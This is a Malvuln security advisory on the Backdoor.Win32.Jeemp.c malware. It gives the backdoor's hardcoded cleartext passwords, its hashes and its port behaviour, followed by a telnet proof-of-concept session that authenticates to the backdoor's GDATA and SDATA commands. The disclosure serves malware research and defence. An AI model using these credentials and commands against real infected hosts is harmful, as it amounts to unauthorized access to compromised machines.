Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/d6b192a4027c7d635499133ca6ce067f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Jeemp.c
Vulnerability: Cleartext Hardcoded Credentials
Description: The malware listens on three TCP ports which are randomized e.g. 9719,7562,8687,8948,7376,8396 so forth. There is an ESMTP server component "jeem.mail.pv" requiring authentication for the GDATA, SDATA commands and sample is packed using UPX. However, it is trivial to unpack using the -d flag which reveals the cleartext hardcoded credentials "jeepower" and "jeespower" in the PE file.
Family: Jeemp
Type: PE32
MD5: d6b192a4027c7d635499133ca6ce067f
Vuln ID: MVID-2024-0672
Dropped files: msrexe.exe
Disclosure: 02/28/2024

Exploit/PoC:
TELNET x.x.x.x 7562
220 jeem.mail.pv ESMTP
HELO hate
250 ok
GDATA
250 ok
Need password
jeepower
[prx]#######
250 ok

SDATA
250 ok
Need password
abc123!
503 wrong!
SDATA
250 ok
Need password
jeespower
250 ok


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